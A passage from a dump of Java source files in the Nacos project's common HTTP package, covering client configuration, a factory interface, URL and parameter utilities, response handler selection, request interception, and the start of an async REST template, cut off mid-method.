DefaultHttpClientFactory(logger));\n    }\n    \n    public static NacosAsyncRestTemplate getNacosAsyncRestTemplate(HttpClientFactory httpClientFactory) {\n        if (httpClientFactory == null) {\n            throw new NullPointerException(\"httpClientFactory is null\");\n        }\n        String factoryName = httpClientFactory.getClass().getName();\n        NacosAsyncRestTemplate nacosAsyncRestTemplate = SINGLETON_ASYNC_REST.get(factoryName);\n        if (nacosAsyncRestTemplate == null) {\n            synchronized (SINGLETON_ASYNC_REST) {\n                nacosAsyncRestTemplate = SINGLETON_ASYNC_REST.get(factoryName);\n                if (nacosAsyncRestTemplate != null) {\n                    return nacosAsyncRestTemplate;\n                }\n                nacosAsyncRestTemplate = httpClientFactory.createNacosAsyncRestTemplate();\n                SINGLETON_ASYNC_REST.put(factoryName, nacosAsyncRestTemplate);\n            }\n        }\n        return nacosAsyncRestTemplate;\n    }\n    \n    /**\n     * Shutdown common http client.\n     */\n    private static void shutdown() {\n        if (!ALREADY_SHUTDOWN.compareAndSet(false, true)) {\n            return;\n        }\n        LOGGER.info(\"[HttpClientBeanHolder] Start destroying common HttpClient\");\n        \n        try {\n            shutdown(DefaultHttpClientFactory.class.getName());\n        } catch (Exception ex) {\n            LOGGER.error(\"An exception occurred when the common HTTP client was closed : {}\",\n                    ExceptionUtil.getStackTrace(ex));\n        }\n        \n        LOGGER.info(\"[HttpClientBeanHolder] Completed destruction of HttpClient\");\n    }\n    \n    /**\n     * Shutdown http client holder and close remove template.\n     *\n     * @param className HttpClientFactory implement class name\n     * @throws Exception ex\n     */\n    public static void shutdown(String className) throws Exception {\n        shutdownNacosSyncRest(className);\n        shutdownNacosAsyncRest(className);\n    }\n    \n    /**\n     * Shutdown sync http client holder and remove template.\n     *\n     * @param className HttpClientFactory implement class name\n     * @throws Exception ex\n     */\n    public static void shutdownNacosSyncRest(String className) throws Exception {\n        final NacosRestTemplate nacosRestTemplate = SINGLETON_REST.get(className);\n        if (nacosRestTemplate != null) {\n            nacosRestTemplate.close();\n            SINGLETON_REST.remove(className);\n        }\n    }\n    \n    /**\n     * Shutdown async http client holder and remove template.\n     *\n     * @param className HttpClientFactory implement class name\n     * @throws Exception ex\n     */\n    public static void shutdownNacosAsyncRest(String className) throws Exception {\n        final NacosAsyncRestTemplate nacosAsyncRestTemplate = SINGLETON_ASYNC_REST.get(className);\n        if (nacosAsyncRestTemplate != null) {\n            nacosAsyncRestTemplate.close();\n            SINGLETON_ASYNC_REST.remove(className);\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/HttpClientConfig.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.utils.ThreadUtils;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * http client config build.\n *\n * @author mai.jh\n */\npublic class HttpClientConfig {\n    \n    /**\n     * connect time out.\n     */\n    private final int conTimeOutMillis;\n    \n    /**\n     * read time out.\n     */\n    private final int readTimeOutMillis;\n    \n    /**\n     * connTimeToLive.\n     */\n    private final long connTimeToLive;\n    \n    /**\n     * connTimeToLiveTimeUnit.\n     */\n    private final TimeUnit connTimeToLiveTimeUnit;\n    \n    /**\n     * connectionRequestTimeout.\n     */\n    private final int connectionRequestTimeout;\n    \n    /**\n     * max redirect.\n     */\n    private final int maxRedirects;\n    \n    /**\n     * max connect total.\n     */\n    private final int maxConnTotal;\n    \n    /**\n     * Assigns maximum connection per route value.\n     */\n    private final int maxConnPerRoute;\n    \n    /**\n     * is HTTP compression enabled.\n     */\n    private final boolean contentCompressionEnabled;\n    \n    /**\n     * io thread count.\n     */\n    private final int ioThreadCount;\n    \n    /**\n     * user agent.\n     */\n    private final String userAgent;\n    \n    public HttpClientConfig(int conTimeOutMillis, int readTimeOutMillis, long connTimeToLive, TimeUnit timeUnit,\n            int connectionRequestTimeout, int maxRedirects, int maxConnTotal, int maxConnPerRoute,\n            boolean contentCompressionEnabled, int ioThreadCount, String userAgent) {\n        this.conTimeOutMillis = conTimeOutMillis;\n        this.readTimeOutMillis = readTimeOutMillis;\n        this.connTimeToLive = connTimeToLive;\n        this.connTimeToLiveTimeUnit = timeUnit;\n        this.connectionRequestTimeout = connectionRequestTimeout;\n        this.maxRedirects = maxRedirects;\n        this.maxConnTotal = maxConnTotal;\n        this.maxConnPerRoute = maxConnPerRoute;\n        this.contentCompressionEnabled = contentCompressionEnabled;\n        this.ioThreadCount = ioThreadCount;\n        this.userAgent = userAgent;\n    }\n    \n    public int getConTimeOutMillis() {\n        return conTimeOutMillis;\n    }\n    \n    public int getReadTimeOutMillis() {\n        return readTimeOutMillis;\n    }\n    \n    public long getConnTimeToLive() {\n        return connTimeToLive;\n    }\n    \n    public TimeUnit getConnTimeToLiveTimeUnit() {\n        return connTimeToLiveTimeUnit;\n    }\n    \n    public int getConnectionRequestTimeout() {\n        return connectionRequestTimeout;\n    }\n    \n    public int getMaxRedirects() {\n        return maxRedirects;\n    }\n    \n    public int getMaxConnTotal() {\n        return maxConnTotal;\n    }\n    \n    public int getMaxConnPerRoute() {\n        return maxConnPerRoute;\n    }\n    \n    public boolean getContentCompressionEnabled() {\n        return contentCompressionEnabled;\n    }\n    \n    public int getIoThreadCount() {\n        return ioThreadCount;\n    }\n    \n    public String getUserAgent() {\n        return userAgent;\n    }\n    \n    public static HttpClientConfigBuilder builder() {\n        return new HttpClientConfigBuilder();\n    }\n    \n    public static final class HttpClientConfigBuilder {\n        \n        // not allow negative number in httpclient5\n        private int conTimeOutMillis = 180_000;\n        \n        // not allow negative number in httpclient5\n        private int readTimeOutMillis = 180_000;\n        \n        // not allow negative number in httpclient5\n        private long connTimeToLive = 180_000;\n        \n        private TimeUnit connTimeToLiveTimeUnit = TimeUnit.MILLISECONDS;\n        \n        private int connectionRequestTimeout = 5000;\n        \n        private int maxRedirects = 50;\n        \n        private int maxConnTotal = 0;\n        \n        private int maxConnPerRoute = 0;\n        \n        private boolean contentCompressionEnabled = true;\n        \n        private int ioThreadCount = ThreadUtils.getSuitableThreadCount(1);\n        \n        private String userAgent;\n        \n        public HttpClientConfigBuilder setConTimeOutMillis(int conTimeOutMillis) {\n            this.conTimeOutMillis = conTimeOutMillis;\n            return this;\n        }\n        \n        public HttpClientConfigBuilder setReadTimeOutMillis(int readTimeOutMillis) {\n            this.readTimeOutMillis = readTimeOutMillis;\n            return this;\n        }\n        \n        public HttpClientConfigBuilder setConnectionTimeToLive(long connTimeToLive, TimeUnit connTimeToLiveTimeUnit) {\n            this.connTimeToLive = connTimeToLive;\n            this.connTimeToLiveTimeUnit = connTimeToLiveTimeUnit;\n            return this;\n        }\n        \n        public HttpClientConfigBuilder setConnectionRequestTimeout(int connectionRequestTimeout) {\n            this.connectionRequestTimeout = connectionRequestTimeout;\n            return this;\n        }\n        \n        public HttpClientConfigBuilder setMaxRedirects(int maxRedirects) {\n            this.maxRedirects = maxRedirects;\n            return this;\n        }\n        \n        public HttpClientConfigBuilder setMaxConnTotal(int maxConnTotal) {\n            this.maxConnTotal = maxConnTotal;\n            return this;\n        }\n        \n        public HttpClientConfigBuilder setMaxConnPerRoute(int maxConnPerRoute) {\n            this.maxConnPerRoute = maxConnPerRoute;\n            return this;\n        }\n        \n        public HttpClientConfigBuilder setContentCompressionEnabled(boolean contentCompressionEnabled) {\n            this.contentCompressionEnabled = contentCompressionEnabled;\n            return this;\n        }\n        \n        public HttpClientConfigBuilder setIoThreadCount(int ioThreadCount) {\n            this.ioThreadCount = ioThreadCount;\n            return this;\n        }\n        \n        public HttpClientConfigBuilder setUserAgent(String userAgent) {\n            this.userAgent = userAgent;\n            return this;\n        }\n    \n        /**\n         * build http client config.\n         *\n         * @return HttpClientConfig\n         */\n        public HttpClientConfig build() {\n            return new HttpClientConfig(conTimeOutMillis, readTimeOutMillis, connTimeToLive, connTimeToLiveTimeUnit,\n                    connectionRequestTimeout, maxRedirects, maxConnTotal, maxConnPerRoute, contentCompressionEnabled,\n                    ioThreadCount, userAgent);\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/HttpClientFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.http.client.NacosAsyncRestTemplate;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\n\n/**\n * http Client Factory.\n *\n * @author mai.jh\n */\npublic interface HttpClientFactory {\n    \n    /**\n     * create new nacost rest.\n     *\n     * @return NacosRestTemplate\n     */\n    NacosRestTemplate createNacosRestTemplate();\n    \n    /**\n     * create new nacos async rest.\n     *\n     * @return NacosAsyncRestTemplate\n     */\n    NacosAsyncRestTemplate createNacosAsyncRestTemplate();\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/HttpRestResult.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.model.RestResult;\n\n/**\n * Http RestResult.\n *\n * @author mai.jh\n */\npublic class HttpRestResult<T> extends RestResult<T> {\n    \n    private static final long serialVersionUID = 3766947816720175947L;\n    \n    private Header header;\n    \n    public HttpRestResult() {\n    }\n    \n    public HttpRestResult(Header header, int code, T data, String message) {\n        super(code, message, data);\n        this.header = header;\n    }\n    \n    public Header getHeader() {\n        return header;\n    }\n    \n    public void setHeader(Header header) {\n        this.header = header;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/HttpUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.UuidUtils;\nimport com.alibaba.nacos.common.utils.VersionUtils;\nimport org.apache.hc.client5.http.ConnectTimeoutException;\nimport org.apache.hc.client5.http.classic.methods.HttpUriRequestBase;\nimport org.apache.hc.client5.http.entity.UrlEncodedFormEntity;\nimport org.apache.hc.core5.http.ClassicHttpRequest;\nimport org.apache.hc.core5.http.ContentType;\nimport org.apache.hc.core5.http.HttpEntity;\nimport org.apache.hc.core5.http.HttpEntityContainer;\nimport org.apache.hc.core5.http.NameValuePair;\nimport org.apache.hc.core5.http.io.entity.ByteArrayEntity;\nimport org.apache.hc.core5.http.io.entity.StringEntity;\nimport org.apache.hc.core5.http.message.BasicNameValuePair;\n\nimport java.io.UnsupportedEncodingException;\nimport java.net.SocketTimeoutException;\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.net.URLDecoder;\nimport java.net.URLEncoder;\nimport java.nio.charset.Charset;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.TimeoutException;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTPS_PREFIX;\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\n\n/**\n * Http utils.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class HttpUtils {\n    \n    private static final Pattern CONTEXT_PATH_MATCH = Pattern.compile(\"(\\\\/)\\\\1+\");\n    \n    /**\n     * Init http header.\n     *\n     * @param requestBase requestBase {@link HttpUriRequestBase}\n     * @param header      header\n     */\n    public static void initRequestHeader(ClassicHttpRequest requestBase, Header header) {\n        Iterator<Map.Entry<String, String>> iterator = header.iterator();\n        while (iterator.hasNext()) {\n            Map.Entry<String, String> entry = iterator.next();\n            requestBase.setHeader(entry.getKey(), entry.getValue());\n        }\n    }\n    \n    /**\n     * Init http entity.\n     *\n     * @param requestBase requestBase {@link HttpUriRequestBase}\n     * @param body        body\n     * @param header      request header\n     * @throws Exception exception\n     */\n    public static void initRequestEntity(ClassicHttpRequest requestBase, Object body, Header header) throws Exception {\n        if (body == null) {\n            return;\n        }\n        if (requestBase instanceof HttpEntityContainer) {\n            HttpEntityContainer request = requestBase;\n            MediaType mediaType = MediaType.valueOf(header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n            ContentType contentType = ContentType.create(mediaType.getType(), mediaType.getCharset());\n            HttpEntity entity;\n            if (body instanceof byte[]) {\n                entity = new ByteArrayEntity((byte[]) body, contentType);\n            } else {\n                entity = new StringEntity(body instanceof String ? (String) body : JacksonUtils.toJson(body),\n                        contentType);\n            }\n            request.setEntity(entity);\n        }\n    }\n    \n    /**\n     * Init request from entity map.\n     *\n     * @param requestBase requestBase {@link HttpUriRequestBase}\n     * @param body        body map\n     * @param charset     charset of entity\n     * @throws Exception exception\n     */\n    public static void initRequestFromEntity(ClassicHttpRequest requestBase, Map<String, String> body, String charset)\n            throws Exception {\n        if (body == null || body.isEmpty()) {\n            return;\n        }\n        List<NameValuePair> params = new ArrayList<>(body.size());\n        for (Map.Entry<String, String> entry : body.entrySet()) {\n            params.add(new BasicNameValuePair(entry.getKey(), entry.getValue()));\n        }\n        if (requestBase instanceof HttpEntityContainer) {\n            HttpEntityContainer request = requestBase;\n            HttpEntity entity = new UrlEncodedFormEntity(params, Charset.forName(charset));\n            request.setEntity(entity);\n        }\n    }\n    \n    /**\n     * Build URL.\n     *\n     * @param isHttps    whether is https\n     * @param serverAddr server ip/address\n     * @param subPaths   api path\n     * @return URL string\n     */\n    public static String buildUrl(boolean isHttps, String serverAddr, String... subPaths) {\n        StringBuilder sb = new StringBuilder();\n        if (isHttps) {\n            sb.append(HTTPS_PREFIX);\n        } else {\n            sb.append(HTTP_PREFIX);\n        }\n        sb.append(serverAddr);\n        String pre = null;\n        for (String subPath : subPaths) {\n            if (StringUtils.isBlank(subPath)) {\n                continue;\n            }\n            Matcher matcher = CONTEXT_PATH_MATCH.matcher(subPath);\n            if (matcher.find()) {\n                throw new IllegalArgumentException(\"Illegal url path expression : \" + subPath);\n            }\n            if (pre == null || !pre.endsWith(\"/\")) {\n                if (subPath.startsWith(\"/\")) {\n                    sb.append(subPath);\n                } else {\n                    sb.append('/').append(subPath);\n                }\n            } else {\n                if (subPath.startsWith(\"/\")) {\n                    sb.append(subPath.replaceFirst(\"\\\\/\", \"\"));\n                } else {\n                    sb.append(subPath);\n                }\n            }\n            pre = subPath;\n        }\n        return sb.toString();\n    }\n    \n    /**\n     * Translate parameter map.\n     *\n     * @param parameterMap parameter map\n     * @return parameter map\n     * @throws Exception exception\n     */\n    public static Map<String, String> translateParameterMap(Map<String, String[]> parameterMap) throws Exception {\n        Map<String, String> map = new HashMap<>(16);\n        for (Map.Entry<String, String[]> entry : parameterMap.entrySet()) {\n            map.put(entry.getKey(), entry.getValue()[0]);\n        }\n        return map;\n    }\n    \n    /**\n     * Encoding parameters to url string.\n     *\n     * @param params   parameters\n     * @param encoding encoding charset\n     * @return url string\n     * @throws UnsupportedEncodingException if encoding string is illegal\n     */\n    public static String encodingParams(Map<String, String> params, String encoding)\n            throws UnsupportedEncodingException {\n        StringBuilder sb = new StringBuilder();\n        if (null == params || params.isEmpty()) {\n            return null;\n        }\n        for (Map.Entry<String, String> entry : params.entrySet()) {\n            if (StringUtils.isEmpty(entry.getValue())) {\n                continue;\n            }\n            \n            sb.append(entry.getKey()).append('=');\n            sb.append(URLEncoder.encode(entry.getValue(), encoding));\n            sb.append('&');\n        }\n        \n        return sb.toString();\n    }\n    \n    /**\n     * Encoding KV list to url string.\n     *\n     * @param paramValues parameters\n     * @param encoding    encoding charset\n     * @return url string\n     * @throws UnsupportedEncodingException if encoding string is illegal\n     */\n    public static String encodingParams(List<String> paramValues, String encoding) throws UnsupportedEncodingException {\n        StringBuilder sb = new StringBuilder();\n        if (null == paramValues) {\n            return null;\n        }\n        \n        for (Iterator<String> iter = paramValues.iterator(); iter.hasNext(); ) {\n            sb.append(iter.next()).append('=');\n            sb.append(URLEncoder.encode(iter.next(), encoding));\n            if (iter.hasNext()) {\n                sb.append('&');\n            }\n        }\n        return sb.toString();\n    }\n    \n    public static String decode(String str, String encode) throws UnsupportedEncodingException {\n        return innerDecode(null, str, encode);\n    }\n    \n    /**\n     * build URI By url and query.\n     *\n     * @param url   url\n     * @param query query param {@link Query}\n     * @return {@link URI}\n     */\n    public static URI buildUri(String url, Query query) throws URISyntaxException {\n        if (query != null && !query.isEmpty()) {\n            url = url + \"?\" + query.toQueryUrl();\n        }\n        return new URI(url);\n    }\n    \n    /**\n     * HTTP request exception is a timeout exception.\n     *\n     * @param throwable http request throwable\n     * @return boolean\n     */\n    public static boolean isTimeoutException(Throwable throwable) {\n        return throwable instanceof SocketTimeoutException || throwable instanceof ConnectTimeoutException\n                || throwable instanceof TimeoutException || throwable.getCause() instanceof TimeoutException;\n    }\n    \n    /**\n     * Build header.\n     *\n     * @return header\n     */\n    public static Header builderHeader(String module) {\n        Header header = Header.newInstance();\n        header.addParam(HttpHeaderConsts.CLIENT_VERSION_HEADER, VersionUtils.version);\n        header.addParam(HttpHeaderConsts.USER_AGENT_HEADER, VersionUtils.getFullClientVersion());\n        header.addParam(HttpHeaderConsts.ACCEPT_ENCODING, \"gzip,deflate,sdch\");\n        header.addParam(HttpHeaderConsts.CONNECTION, \"Keep-Alive\");\n        header.addParam(HttpHeaderConsts.REQUEST_ID, UuidUtils.generateUuid());\n        header.addParam(HttpHeaderConsts.REQUEST_MODULE, module);\n        return header;\n    }\n    \n    private static String innerDecode(String pre, String now, String encode) throws UnsupportedEncodingException {\n        // Because the data may be encoded by the URL more than once,\n        // it needs to be decoded recursively until it is fully successful\n        if (StringUtils.equals(pre, now)) {\n            return pre;\n        }\n        pre = now;\n        now = URLDecoder.decode(now, encode);\n        return innerDecode(pre, now, encode);\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/AbstractNacosRestTemplate.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client;\n\nimport com.alibaba.nacos.common.constant.ResponseHandlerType;\nimport com.alibaba.nacos.common.http.client.handler.BeanResponseHandler;\nimport com.alibaba.nacos.common.http.client.handler.ResponseHandler;\nimport com.alibaba.nacos.common.http.client.handler.RestResultResponseHandler;\nimport com.alibaba.nacos.common.http.client.handler.StringResponseHandler;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.fasterxml.jackson.databind.JavaType;\nimport org.slf4j.Logger;\n\nimport java.lang.reflect.Type;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * For NacosRestTemplate and NacosAsyncRestTemplate, provide initialization and register of response converter.\n *\n * @author mai.jh\n */\n@SuppressWarnings(\"all\")\npublic abstract class AbstractNacosRestTemplate {\n    \n    private final Map<String, ResponseHandler> responseHandlerMap = new HashMap<String, ResponseHandler>();\n    \n    protected final Logger logger;\n    \n    public AbstractNacosRestTemplate(Logger logger) {\n        this.logger = logger;\n        initDefaultResponseHandler();\n    }\n    \n    private void initDefaultResponseHandler() {\n        // init response handler\n        responseHandlerMap.put(ResponseHandlerType.STRING_TYPE, new StringResponseHandler());\n        responseHandlerMap.put(ResponseHandlerType.RESTRESULT_TYPE, new RestResultResponseHandler());\n        responseHandlerMap.put(ResponseHandlerType.DEFAULT_BEAN_TYPE, new BeanResponseHandler());\n    }\n    \n    /**\n     * register customization Response Handler.\n     *\n     * @param responseHandler {@link ResponseHandler}\n     */\n    public void registerResponseHandler(String responseHandlerType, ResponseHandler responseHandler) {\n        responseHandlerMap.put(responseHandlerType, responseHandler);\n    }\n    \n    /**\n     * Select a response handler by responseType.\n     *\n     * @param responseType responseType\n     * @return ResponseHandler\n     */\n    protected ResponseHandler selectResponseHandler(Type responseType) {\n        ResponseHandler responseHandler = null;\n        if (responseType == null) {\n            responseHandler = responseHandlerMap.get(ResponseHandlerType.STRING_TYPE);\n        }\n        if (responseHandler == null) {\n            JavaType javaType = JacksonUtils.constructJavaType(responseType);\n            String name = javaType.getRawClass().getName();\n            responseHandler = responseHandlerMap.get(name);\n        }\n        // When the corresponding type of response handler cannot be obtained,\n        // the default bean response handler is used\n        if (responseHandler == null) {\n            responseHandler = responseHandlerMap.get(ResponseHandlerType.DEFAULT_BEAN_TYPE);\n        }\n        responseHandler.setResponseType(responseType);\n        return responseHandler;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/HttpClientRequestInterceptor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client;\n\nimport com.alibaba.nacos.common.http.client.request.HttpClientRequest;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\n\nimport java.net.URI;\n\n/**\n * Intercepts client-side HTTP requests. Implementations of this interface can be.\n *\n * @author mai.jh\n */\npublic interface HttpClientRequestInterceptor {\n    \n    /**\n     * is intercept.\n     *\n     * @param uri uri\n     * @param httpMethod http method\n     * @param requestHttpEntity request entity\n     * @return boolean\n     */\n    boolean isIntercept(URI uri, String httpMethod, RequestHttpEntity requestHttpEntity);\n    \n    /**\n     * if isIntercept method is true Intercept the given request, and return a response Otherwise,\n     * the {@link HttpClientRequest} will be used for execution.\n     *\n     * @return HttpClientResponse\n     */\n    HttpClientResponse intercept();\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/InterceptingHttpClientRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client;\n\nimport com.alibaba.nacos.common.http.client.request.HttpClientRequest;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\n\nimport java.io.IOException;\nimport java.net.URI;\nimport java.util.Iterator;\n\n/**\n * Wrap http client request and perform corresponding interception.\n *\n * @author mai.jh\n */\npublic class InterceptingHttpClientRequest implements HttpClientRequest {\n    \n    private final HttpClientRequest httpClientRequest;\n    \n    private final Iterator<HttpClientRequestInterceptor> interceptors;\n    \n    public InterceptingHttpClientRequest(HttpClientRequest httpClientRequest,\n            Iterator<HttpClientRequestInterceptor> interceptors) {\n        this.httpClientRequest = httpClientRequest;\n        this.interceptors = interceptors;\n    }\n    \n    @Override\n    public HttpClientResponse execute(URI uri, String httpMethod, RequestHttpEntity requestHttpEntity)\n            throws Exception {\n        while (interceptors.hasNext()) {\n            HttpClientRequestInterceptor nextInterceptor = interceptors.next();\n            if (nextInterceptor.isIntercept(uri, httpMethod, requestHttpEntity)) {\n                return nextInterceptor.intercept();\n            }\n        }\n        return httpClientRequest.execute(uri, httpMethod, requestHttpEntity);\n    }\n    \n    @Override\n    public void close() throws IOException {\n        httpClientRequest.close();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/NacosAsyncRestTemplate.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client;\n\nimport com.alibaba.nacos.common.http.Callback;\nimport com.alibaba.nacos.common.http.HttpUtils;\nimport com.alibaba.nacos.common.http.client.handler.ResponseHandler;\nimport com.alibaba.nacos.common.http.client.request.AsyncHttpClientRequest;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport com.alibaba.nacos.common.utils.HttpMethod;\nimport org.slf4j.Logger;\n\nimport java.lang.reflect.Type;\nimport java.net.URI;\nimport java.util.Map;\n\n/**\n * Nacos async rest template.\n *\n * @author mai.jh\n * @see AsyncHttpClientRequest\n * @see HttpClientResponse\n */\npublic class NacosAsyncRestTemplate extends AbstractNacosRestTemplate {\n    \n    private final AsyncHttpClientRequest clientRequest;\n    \n    public NacosAsyncRestTemplate(Logger logger, AsyncHttpClientRequest clientRequest) {\n        super(logger);\n        this.clientRequest = clientRequest;\n    }\n    \n    /**\n     * async http get URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type.\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param responseType return type\n     * @param header       http header param\n     * @param query        http query param\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void get(String url, Header header, Query query, Type responseType, Callback<T> callback) {\n        execute(url, HttpMethod.GET, new RequestHttpEntity(header, query), responseType, callback);\n    }\n    \n    /**\n     * async get request, may be pulling a lot of data URL request params are expanded using the given query {@link\n     * Query}, More request parameters can be set via body.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type.\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         get with body\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void getLarge(String url, Header header, Query query, Object body, Type responseType,\n            Callback<T> callback) {\n        execute(url, HttpMethod.GET_LARGE, new RequestHttpEntity(header, query, body), responseType, callback);\n    }\n    \n    /**\n     * async http delete URL request params are expanded using the given query {@link Query},\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void delete(String url, Header header, Query query, Type responseType, Callback<T> callback) {\n        execute(url, HttpMethod.DELETE, new RequestHttpEntity(header, 